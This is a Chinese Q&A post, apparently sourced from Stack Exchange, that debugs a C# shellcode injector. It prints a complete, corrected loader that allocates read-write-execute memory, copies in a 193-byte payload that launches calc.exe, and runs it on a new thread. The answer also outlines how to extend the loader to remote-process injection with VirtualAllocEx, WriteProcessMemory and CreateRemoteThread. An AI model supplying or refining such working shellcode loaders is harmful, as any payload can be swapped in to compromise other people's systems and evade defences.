C#进程注入时触发System.OverflowException异常求助

你的异常根源是错误的P/Invoke签名和类型转换，具体是CreateThread函数的lpStartAddress参数类型不匹配，导致64位系统下地址转换时超出32位整数范围，触发溢出异常。以下是分步修复方案：

1. 修正CreateThread的P/Invoke签名 #

原代码中lpStartAddress被定义为UInt32，但内存地址在.NET中应使用IntPtr类型（天然兼容32/64位系统）。修改后的签名：

[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
    UInt32 lpThreadAttributes, 
    UInt32 dwStackSize, 
    IntPtr lpStartAddress,  // 从UInt32改为IntPtr
    IntPtr param, 
    UInt32 dwCreationFlags, 
    ref UInt32 lpThreadId);

2. 移除错误的类型转换 #

调用CreateThread时，直接传入VirtualAlloc返回的IntPtr地址，无需强制转换为UInt32：

hThread = CreateThread(0, 0, init, pinfo, 0, ref threadId);

3. 完整修正后的代码 #

using System;
using System.Runtime.InteropServices;

namespace demo
{
    class Program
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32.dll")]
        private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes, 
            UInt32 dwStackSize, 
            IntPtr lpStartAddress, 
            IntPtr param, 
            UInt32 dwCreationFlags, 
            ref UInt32 lpThreadId);

        [DllImport("kernel32.dll")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);


        static void Main(string[] args)
        {
            byte[] buf = new byte[193] {
                0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
                0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
                0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
                0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
                0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
                0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
                0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
                0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
                0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
                0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
                0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
                0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
                0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };

            int shellcode_size = buf.Length;
            IntPtr init = VirtualAlloc(IntPtr.Zero, shellcode_size, (UInt32)TYPE.MEM_COMMIT, (UInt32)PROTECTION.PAGE_EXECUTE_READWRITE);
            Marshal.Copy(buf, 0, init, shellcode_size);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(0, 0, init, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

        public enum TYPE
        {
            MEM_COMMIT = 0x00001000
        }

        public enum PROTECTION
        {
            PAGE_EXECUTE_READWRITE = 0x40
        }
    }
}

额外说明 #

• 你当前的代码是在自身进程中执行shellcode，并非真正的跨进程注入。如果要实现跨进程注入，需要使用OpenProcess打开目标进程，再配合VirtualAllocEx、WriteProcessMemory、CreateRemoteThread完成操作。
• 确保项目平台目标（x86/x64）与shellcode架构一致，否则会出现执行失败的情况。

内容的提问来源于stack exchange，提问作者mesut yıldırım